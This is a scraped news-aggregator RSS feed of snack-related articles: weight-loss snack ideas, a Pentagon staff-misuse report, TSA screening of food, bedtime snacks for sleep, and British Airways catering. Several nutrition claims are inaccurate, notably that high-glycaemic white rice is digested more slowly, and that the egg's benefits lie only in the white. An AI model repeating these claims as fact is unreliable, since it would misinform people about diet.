These bars are loaded with good-for-you nuts and seeds. Keeping these in your desk drawer will help curb those hunger pains and afternoon 3 pm slump we all know so well.

~ Get the recipe here!

25. Fancy Rice Cakes

Rice cakes can be bland on their own, but when you top them like this they are anything but!

These rice cakes are transformed into delicious snacks that will have you rushing to the break room!

~ Get the recipe here!

Final thoughts

Snacks are an essential part of balanced eating! It is so important to keep our bodies fueled with good ingredients to keep them working as proficiently as we need them to.

Adding snacks to your day will help you meet deadlines, improve productivity, and not fall asleep on your keyboard each afternoon.

]]> https://briefnews.eu/25-healthy-snacks-for-work-decrease-hunger-and-increase-productivity/feed/ 0 Tasty and Healthy Weight Loss Snacks to Reach Your Goals Fast https://briefnews.eu/tasty-and-healthy-weight-loss-snacks-to-reach-your-goals-fast/ https://briefnews.eu/tasty-and-healthy-weight-loss-snacks-to-reach-your-goals-fast/#respond Thu, 16 Aug 2018 16:44:41 +0000 http://briefnews.eu/tasty-and-healthy-weight-loss-snacks-to-reach-your-goals-fast/ The decision to become healthier by way of weight loss is a struggle for many people. We have been told most of our lives that healthy food choices mean giving up the food and snacks that make us happy or we will be unable to achieve weight loss success.The truth is, healthy snacking can aid you in losing weight! If the right choices are made, you can enjoy snacking and still lose weight!This article will guide you through identifying healthy and flavorful weight loss snacks that will contribute to your weight loss goal.

How can healthy snacking help you lose weight?

If you make smart choices, healthy snacking can be the thing that aids you in your weight loss journey.Keep in mind that balance is everything. Too much snacking or the wrong kind of snacking can back fire. We will get into that soon.Rachel Morris, an author with Women’s Day Magazine, wrote about 4 women that mastered the art of snacking in between meals and still achieved their weight loss goals.((Women’s Day Magazine: Meet the 2014 Live Longer & Stronger Challenge Participants)) These women have proved that healthy snacking and weight loss are a dynamic duo.Not only do you not have to give up snacks, you can eat the snacks that you actually love.

Mindfulness, snacking, and weight Loss

The importance of mindful eating is massive. Rachel Zimmerman, an R.D. at Indiana University Hospital at IU Health states the following:

“Just because snack foods like dark chocolate, nut butters, and avocado have earned nutritional kudos for being good sources of heart-healthy fats and other nutrients, that doesn’t mean you should eat a ton of them.”

The most important step is mindfulness. The key to getting started is being mindful when making snack choices. For a guide to mindful eating, please take a look my other article:The Best Benefits of Mindful Eating for Weight Loss and How to Start NowMindfulness isn’t something that is taught to us. It is something that you seek to learn and incorporate in your day to day living. Many of us don’t know the truth about food and the role that food plays in our lives and in our health. This creates unhealthy habits.Food is usually used as a substance for pleasure instead of nourishment. We devour most things in front of us without being mindful and aware about what we are actually consuming:((Carla Naumburg: A Mindful S.N.A.C.K))

Tips for getting started with healthy snacking and weight loss

So how to get started with healthy snacking while reaching your weight loss goals? Here’re some tips for you:

  • Set your goal. Before getting started, you have to know what you want. What is the goal? How many pounds per week? How many pounds total?
  • Set a deadline. What date/season are you wanting to have the weight off? It is important to set a target date so that you are focused.
  • Practice mindfulness. Mindful eating is about eating mindfully. It is about being fully aware of what you are experiencing; your cravings and physical cues. Eating for purpose and not boredom or pleasure is key for your goals.
  • Mind your plates. Use smaller plates so that you are not loading a large plate. If you load a small plate, you are still controling your portions but enjoying a plate full of food.
  • Have breakfast. We have heard it since the beginning of time: “breakfast is the most important meal of the day”. It is! Studies like one conducted by NCBI, shows that people trying to lose weight are more successful in reaching their goals when they incorporate breakfast in their daily routine.((Front Hum Neurosci: The effects of breakfast on behavior and academic performance in children and adolescents)) This step alone can help you in your weight loss goals and make you want to snack less.
  • Pack your snacks. The saying “stay ready so you never have to get ready” is very true here. Packing your snacks and preparing for the day is key. You want to have healthy options when you start to crave food. Packing things like healthy granola bars, crackers and fruits etc. will alleviate the bad choice of a candy bar or chips from the vending machine.
  • Keep track of your calorie intake. Keep a small memo pad or an active document on your mobile device. It is important to record what you eat, and the calories consumed. This will help you stay on track.
  • Sleep. Sleep and weight loss are like partners. Research shows that lack of sleep impacts your metabolism, and we all know that slow metabolisms contribute to weight gain.((Harvard Health Publishing: Does Metabolism Matter in Weight Loss?)) Getting a solid 8 hours of sleep per night to help you with your weight loss goals.
  • Reward yourself. It is so important to reward yourself for a job well done. When you work hard throughout the week and see the benefits on the scale, reward yourself! Losing weight and changing eating habits is difficult. When a mission is accomplished, get out there are pat yourself on the back!
  • Drink sufficient water. Please drink water! Water is absolutely necessary for health but can also aid you in losing weight. Try drinking a cup of water before snacking. You may find that you weren’t hungry at all, just thirsty (many times, dehydration shows up as hunger).

Tasty and healthy snacks for your weight loss goals- all diets

There a lot of different diets out there for various reasons. These reasons are tied to health, values, and morality. No matter your dietary preferences, snacking with mindfulness and awareness is important. This should go without saying.However, no matter your diet, fruits and vegetables should be the number one choice! Fruits and vegetables are essential and key for a healthy life and body. When a little variation is needed, incorporating exciting, tasty, and healthy snacks can still be good for your weight loss goals. Let’s get into a few snacks for your dietary need/preference and your weight loss goals!

Snacks for carnivores

For carnivores, eating a carnivore diet means that meat and animal products is/are a regular part of your diet. Snacks for carnivores that lead to weight loss:

1. Rice Crackers and Cheese

Rice crackers are usually made with brown rice which is a great fiber and carbohydrate source. Fiber makes you feel full for longer. Cheese has so many essentials: calcium, protein, and vitamins A and B. Paired together, rice crackers and cheese can help you get there with the combination of protein, fiber, carbs, and vitamins.Weight loss tip:Remember that this is a snack. Always go with the serving recommendation on the label. It is much easier to track calories and fat.

2. Boiled Chicken Breast Topped with Lemon Juice, Ginger, and Pepper

Chicken is a good source of protein and one of the cleaner and leaner meats to eat. Chicken breast also aids in the reduction of cardiovascular disease but also contributes to muscle development and muscle growth.Snacking on boiled chicken can aid you in your weight loss journey. Topping with lemon juice, pepper, and ginger is very impactful flavor combination but also a wonderful anti-inflammatory combination.((CookingLight: 50 Healthy Chicken Breast Recipes))Weight loss tip:Emphasis is placed on chicken breast because white meat chicken has less fat than dark meat chicken. Fatty meats will hurt you in trying to achieve your goal. The golden rule- be mindful of your choices.

3. Soup

Having soup for a snack can contribute significantly to your weight loss goal. Soup is hearty, filling, and more appealing than water to many (water is so necessary so please do not replace water with soup, still drink water!).You sip/drink soup slower than water and because of that, soup is known for staying in your system much longer, making you feel fuller for longer. That means, less eating!Weight loss tip:Be mindful of sodium/salt/msg. High levels of sodium in a diet alters the metabolism and a healthy metabolism is key for fat absorption.

Snacks for pescatarians

For pescatarians, eating a pescatarian diet means that you don’t consume land animal (chicken, beef, pork, etc.), just sea animals (fish). Some pescatarians consume land animal products (eggs and dairy, while others consume only sea animal and sea animal products (no milk, no butter, no eggs).

4. Tuna Salad

Tuna is high in potassium and omega-3 fatty acids. Potassium is an electrolyte that helps maintain blood pressure and blood flow; it also counteracts sodium. Additionally, it is high in vitamin B and low in calories and fat.~ Full recipe here!Weight loss tip:Be mindful of how you eat your tuna. Be cautious of the amount of mayonnaise used. The best way to snack on tuna is with a fork (so you can eat slowly and mindfully).

5. Steamed Shrimp

Shrimp has so many health benefits and can truly aid you in your weight loss goals. Shrimp is super low in calories and very protein rich. Shrimp is really a combination of protein and water; you won’t find fatty pockets on shrimp.As a snack, shrimp will provide so many vitamins and minerals with the added benefit of feeling completely satisfied.Weight loss tip:Be mindful of the serving size and mindful of the seasoning that you use. Seasonings high in sodium will alter the amazing benefits. Consider using lemon juice, ginger, and garlic.

6. Smoked salmon

This snack comes ready for you to eat! It is tasty and healthy, packed with antioxidants (antioxidants remove damaging oxidizing agents in a living organism- food products stored in your system). Our bodies have to function properly to aid us in our weight loss and health goals. Smoked salmon is a healthy snack and healthy medicine!Weight loss tip:Smoked salmon requires nothing to be added. It is packed full of flavor from the preparation. Adding things like sodium will contradict the amazing benefits. The best way to eat smoked salmon is with a fork.

Snacks for vegetarians

For vegetarians, eating a vegetarian diet means that you don’t consume any type of animal- no land animal and no sea animal but, may still eat animal products such as milk, butter, and eggs.

7. Greek Yogurt and Fresh Fruit

Greek yogurt is packed with protein. Eating this alone is already a wild health benefit due to the process of making it, which includes draining out the lactose! Lactose is the sugar found in milk. Adding fruit to it adds natural sweetness and of course the benefits that come with fruit!Weight loss tip:Yogurt has sugar in it and too much sugar is damaging to your weight loss goals. Be mindful of portions and toppings. The wrong toppings will contradict the benefits.

8. Steamed Veggies with Garlic and Parmesan Cheese

Steaming your veggies takes away the need for butter and oil. Adding a little parmesan cheese and garlic gives these veggies a lot of flavor and the benefits found in dairy. Not only are you giving your body two important necessities, you are also going to feel very satisfied for a longer period of time.~ Full recipe here!Weight loss tip:For those that don’t eat dairy, try a drizzle of Italian dressing or, topping it with guacamole. As always, be mindful of portions.

9. Hard Boiled Eggs

Eggs are a great snack for weight loss, especially if boiled without the use of butters and oils. Eggs are packed with protein, low in calories, and have essential vitamins such as B and D. They make for a great weight loss snack because in addition to the nutrients, you will full and satisfied.Weight loss tip:Eggs are high in cholesterol. To reduce the amount of cholesterol intake, avoid eating the yolk. The benefits are in the egg white.

Snacks for vegans

For vegans, eating a vegan diet means that you don’t consume any animal at all- land or sea, and you don’t consume any animal products- land or sea. Vegans eat a plant-based diet consisting mainly of fruits, vegetables, nuts, and grains.

10. Smoothie Bowl

Smoothies are amazing. You can get your 6 servings of fruits and vegetables in one smoothie! A variation to the norm is a smoothie bowl. Many times, we crave things like ice cream- why not make the healthiest version?Recipe tip:Create your favorite blend and top with fresh fruit chunks, or granola, or coconut flakes, or nut and seed mix.~ More recipe ideas here!Weight loss tip:There is plenty of natural sugar in the fruit and toppings. Be mindful of adding additional sugar.

11. Chia Pudding

Chia seeds are an amazing little seed. They are rich in omega’s, carbohydrates, protein, and fiber. Consuming chia seeds for a snack can really help you achieve weight loss success. You will consume a superfood that will leave you feeling full for hours!Recipe tip:To make chia pudding, simply use a 4 to 1 ratio:1 cup of plant-based milk to 1/4 cup chia seeds; add a little agave for sweetness.Let it sit for a couple of hours, stirring every 15-20 minutes. Make it for the day or make it for the week! Want to add a little flare? Blend some fresh fruit and top!Weight loss tip:Be mindful of the amount of sweetener/sugar used.

12. Baked Peach and Cherry Delight

Fruits and vegetables are key for every diet. This is the way to true health and healthy weight.Peaches contain niacin, folate, iron, choline, potassium, magnesium, phosphorus, manganese, zinc and copper- they are basically vitamins! Cherries are a wonderful antioxidant; combined you have delicious vitamin that will leave you happy and satisfied.Recipe tip:Simply cut up a few peaches, add half a can of cherry pie filling, and add 3 tablespoons of lemon fruit filling for sweetness. Mix and bake on 350 degrees for about 30-45 minutes.Weight loss tip:Both peaches and cherries are naturally sweet. The lemon fruit filling is sweet as well. No additional sugars or sweeteners necessary.

The bottom line

Remember, fruits and vegetables should be your number one choice for snacking. Be mindful of your choices and remember to try water first.Snacking for weight loss is healthy and can help you reach your weight loss goals fast. Snacking isn’t a negative, if done right, it is all positive!

]]> https://briefnews.eu/tasty-and-healthy-weight-loss-snacks-to-reach-your-goals-fast/feed/ 0 The top DoD spokeswoman is allegedly under investigation for asking her staff to grab her laundry and pick up snacks https://briefnews.eu/the-top-dod-spokeswoman-is-allegedly-under-investigation-for-asking-her-staff-to-grab-her-laundry-and-pick-up-snacks/ https://briefnews.eu/the-top-dod-spokeswoman-is-allegedly-under-investigation-for-asking-her-staff-to-grab-her-laundry-and-pick-up-snacks/#respond Tue, 14 Aug 2018 21:46:22 +0000 http://briefnews.eu/the-top-dod-spokeswoman-is-allegedly-under-investigation-for-asking-her-staff-to-grab-her-laundry-and-pick-up-snacks/ Pentagon chief spokesperson Dana W. White speaks during a media availability at the Pentagon

  • Top Pentagon spokeswoman Dana White is reportedly under investigation for misusing her staff by sending them to run her personal errands, according to CNN.
  • The investigation has not yet found White to be in violation of any federal rules or policies.

The top Pentagon spokeswoman is reportedly under investigation for misusing her staff, CNN reports, citing four sources familiar with the situation.

Dana White, a Trump political appointee who reports directly to Secretary of Defense James Mattis, allegedly sent staff members to handle her personal chores, including fetching her dry cleaning, picking up snacks, driving her to the Pentagon, and even helping her with her personal finances.

See the rest of the story at Business Insider

NOW WATCH: INSIDE WEST POINT: What it’s really like for new Army cadets on their first day

See Also:

]]> https://briefnews.eu/the-top-dod-spokeswoman-is-allegedly-under-investigation-for-asking-her-staff-to-grab-her-laundry-and-pick-up-snacks/feed/ 0 US flights: Passengers now asked to remove snacks from hand luggage at US airport security https://briefnews.eu/us-flights-passengers-now-asked-to-remove-snacks-from-hand-luggage-at-us-airport-security/ https://briefnews.eu/us-flights-passengers-now-asked-to-remove-snacks-from-hand-luggage-at-us-airport-security/#respond Thu, 05 Jul 2018 13:44:37 +0000 http://briefnews.eu/us-flights-passengers-now-asked-to-remove-snacks-from-hand-luggage-at-us-airport-security/

Hand luggage is being closely examined at major US airports, with officials asking travellers to remove snacks and powders from their bags for extra security checks. 

The Transport Security Administration (TSA) in America is tightening security in a bid to counter terrorism – although the food policy is not an official one.

However, officers at many airports across the US are enforcing the rule.

Airline passengers travelling though major airports including Newark, Atlanta, Los Angeles, New York and San Francisco have been asked to remove both snacks and powders, according to the Telegraph.

Some travellers are being asked to put the food they’d bought to eat on board the plane into separate bins for further inspection.

The increased security levels are resulting in delays. 

One passenger even missed a flight due to the severe delays caused by rigorous checks.

Furthermore, the increased security is causing confusion for those who do not speak English.

A TSA spokeswoman told Express.co.uk: “TSA has no policy that mandates that travellers remove food items from their carry-on bags to be placed in separate bins for checkpoint screening.

“However,TSA recommends that passengers consider doing so to lessen the likelihood that there will be a need to open a carry-on bag for a more thorough inspection.”

The TSA say that food in bags can make it harder for hand luggage to be screened.

Their website states: “TSA officers may instruct travellers to separate items from carry-on bags such as foods, powders, and any materials that can clutter bags and obstruct clear images on the X-ray machine. 

“Travellers are encouraged to organise their carry-on bags and keep them uncluttered to ease the screening process and keep the lines moving.”

They add: “Even if an item is generally permitted, it may be subject to additional screening or not allowed through the checkpoint if it triggers an alarm during the screening process, appears to have been tampered with, or poses other security concerns.”

The TSA is carrying out these thorough checks as it strives to constantly adapt security methods to tackle what it describes as an evolving terrorist threat.

“As part of its counterterrorism efforts, TSA continuously enhances and adjusts security screening procedures to stay ahead of evolving threats,” the spokeswoman said.

“TSA’s top priority is to protect the traveling public, and every policy and security procedure in place is designed to mitigate threats to passengers and the aviation sector – which we know our adversaries continue to target. 

“Adjustments to screening procedures are a necessary part of operations and TSA does so in the most efficient and effective way possible while maintaining a positive passenger experience.   

“Intelligence tells us that our adversaries are adept at artfully concealing explosives in common items that individuals travel with, such as food.”

However, the stricter checks do not mean passengers can’t bring food. “It is important to note that travellers can continue to bring their snacks with them,” the spokeswoman explained. “There has been no change in what food items travellers can bring with them through a checkpoint.”

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]]> https://briefnews.eu/us-flights-passengers-now-asked-to-remove-snacks-from-hand-luggage-at-us-airport-security/feed/ 0 Diabetes type 2 symptoms: Six snacks you can eat before bed https://briefnews.eu/diabetes-type-2-symptoms-six-snacks-you-can-eat-before-bed/ https://briefnews.eu/diabetes-type-2-symptoms-six-snacks-you-can-eat-before-bed/#respond Sat, 02 Jun 2018 21:25:22 +0000 http://briefnews.eu/diabetes-type-2-symptoms-six-snacks-you-can-eat-before-bed/

DIABETES type 2 symptoms include increased thirst and hunger and needing to urinate more frequently. Treatment includes controlling your diet to avoid blood sugar levels spiking, which can cause damage to your body. However, if you’re hungry in the evenings you could try these snacks before bed.

]]> https://briefnews.eu/diabetes-type-2-symptoms-six-snacks-you-can-eat-before-bed/feed/ 0 How to sleep: Six of the best bedtime snacks to help you fall asleep fast https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/ https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/#respond Fri, 01 Jun 2018 20:33:55 +0000 http://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/

The body needs enough sleep to help it function properly, according to the NHS.

Not getting enough sleep is bad for your health; mentally and physically.

Regular poor sleep increases your risk of obesity, heart disease and diabetes.

You’re also more likely to develop depression and anxiety if you don’t get enough rest.

But, you could get a better night’s rest by adding these five food and drinks to your bedtime diet.

Kiwi fruit

Eating kiwi fruit before bed could help you to fall asleep, and wake up feeling refreshed, according to Dr Brianna Elliott.

Snack on two kiwis before getting into bed, as you could fall asleep 42 per cent faster, she said.

“The sleep-promoting effects of kiwis are thought to be due to their content of serotonin, a brain chemical that helps regulate your sleep cycle,” said Elliott.

“It has also been suggested that the antioxidants in kiwis, such as vitamin C and carotenoids, may be partly responsible for their sleep-promoting effects. This is thought to be due to their role in reducing inflammation.”

Almonds

Almonds are a great source of magnesium.

Magnesium could promote sleep by reducing inflammation, and reducing levels of the stress hormone cortisol.

“If you want to eat almonds before bed to determine if they impact your sleep quality, a one ounce [28g] serving, or about a handful, should be adequate,” said Elliott.

Chamomile tea

“Chamomile tea is a popular herbal tea that may offer a variety of health benefits,” she said.

“Specifically, chamomile tea contains apigenin, an antioxidant that binds to certain receptors in your brain that may promote sleepiness and reduce insomnia.”

Drinking chamomile tea for two weeks before bed could improve your sleep quality.

White rice

White rice has a high glycaemic index, which means it takes longer for the body to break it down into sugar.

High glycaemic index foods could improve your sleep quality.

Try eating white rice an hour before bedtime to get a better night’s sleep.

“Despite the potential role that eating white rice may have in promoting sleep, it is best consumed in moderation due to its lack of fibre and nutrients,” said Elliot.

Tart cherry juice

“Tart cherry juice is also known to promote sleepiness, and it has even been studied for its role in relieving insomnia,” she said.

“For these reasons, drinking tart cherry juice before bed may improve your sleep quality.

“The sleep-promoting effects of tart cherry juice are due to its high content of melatonin, which is a hormone that regulates your internal clock and signals your body to prepare for sleep.”

Fatty fish

Fatty fish includes salmon, tuna, trout and mackerel.

They’re all rich in vitamin D, as well as omega-3 fatty acids.

The combination of both vitamin D and omega-3s could enhance sleep quality, said Elliott.

The nutrients help to increase the production of serotonin, which is a sleep-promoting brain chemical.

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]]> https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/feed/ 0 Diabetes type 2 – five breakfast snacks to slash blood sugar https://briefnews.eu/diabetes-type-2-five-breakfast-snacks-to-slash-blood-sugar/ https://briefnews.eu/diabetes-type-2-five-breakfast-snacks-to-slash-blood-sugar/#respond Sat, 19 May 2018 17:13:33 +0000 http://briefnews.eu/diabetes-type-2-five-breakfast-snacks-to-slash-blood-sugar/

DIABETES type 2 symptoms include weight loss, extreme tiredness and having cuts or wounds that take longer to heal than usual. Adding these five food and drinks to your breakfast diet could lower your risk of high blood sugar.

]]> https://briefnews.eu/diabetes-type-2-five-breakfast-snacks-to-slash-blood-sugar/feed/ 0 Junk food warning: Teens who watch lot of TV adverts ‘more likely to eat unhealthy snacks’ https://briefnews.eu/junk-food-warning-teens-who-watch-lot-of-tv-adverts-more-likely-to-eat-unhealthy-snacks/ https://briefnews.eu/junk-food-warning-teens-who-watch-lot-of-tv-adverts-more-likely-to-eat-unhealthy-snacks/#respond Mon, 15 Jan 2018 23:24:46 +0000 http://briefnews.eu/junk-food-warning-teens-who-watch-lot-of-tv-adverts-more-likely-to-eat-unhealthy-snacks/

TEENAGERS who watch lots of TV with adverts are more likely to eat junk food, suggesting a “strong association between advertisements and eating habits”, according to a report yesterday.

]]> https://briefnews.eu/junk-food-warning-teens-who-watch-lot-of-tv-adverts-more-likely-to-eat-unhealthy-snacks/feed/ 0 British Airways brings BACK second meal and free snacks after customer backlash https://briefnews.eu/british-airways-brings-back-second-meal-and-free-snacks-after-customer-backlash/ https://briefnews.eu/british-airways-brings-back-second-meal-and-free-snacks-after-customer-backlash/#respond Wed, 10 Jan 2018 14:29:47 +0000 http://briefnews.eu/british-airways-brings-back-second-meal-and-free-snacks-after-customer-backlash/

British Airways customers will be thrilled to discover the return of a second meal option on long-haul flights.

Magnum ice creams and Graze snack boxes will also be available as free snacks.

The new changes are part of a multi-million pound revamp promised by Alex Cruz, the head of BA, late last year.

In a speech at the World Travel Market, the Chief Executive admitted some of the recent changes had proved unpopular with passengers and said mistakes had been made.

An earlier overhaul had seen BA customers travelling long-haul in Economy served a complimentary snack and a three-course-meal or a light meal, depending on the time and length of their flight, plus drinks.

Now, customers will be offered pretzels and a drink at the start of their flight.

They will then enjoy a four-course meal with starter, main, dessert, cheese and biscuits, accompanied by a bread roll and bottle of water.

On shorter daylight long-haul flights to destinations like New York and Dubai, fliers will also receive a sandwich and a chocolate or Nutri-Grain bar.

On longer daylight long-haul flights to areas such as Cape Town and Hong Kong, crew will serve an extra hot meal like a pizza wrap or a regional option, with a pot of pasta, a chocolate brownie and a drink, as well as a smokehouse BBQ crunch Graze movie-snack box.

Longer overnight flight customers will receive a cooked breakfast.

Customers on daylight flights from London will be offered a selection of Magnum ice-creams to enjoy in-between meals, while night fliers will be offered a tuck-box featuring items like Dairy Milk Buttons, Twix, Kit-Kats and Mini Cheddars.

The new catering arrives from January 17 and menus will change every six months.

Carolina Martinoli, British Airways’ director of brand and customer experience, said: “Our new four-course main meal has been developed by our team of chefs to be full of flavour at 35,000ft and we’ve created regional options depending on the route.

“Our customers have also told us they want to be able to save some items for later in the flight, so we’ve replaced the water cup with a bottle of Highland Spring on the first meal, and added Graze snack boxes on our longest flights.

“We’re also offering Magnum ice-creams on daylight flights from London and a Tuck Box on inbound and overnight flights.”

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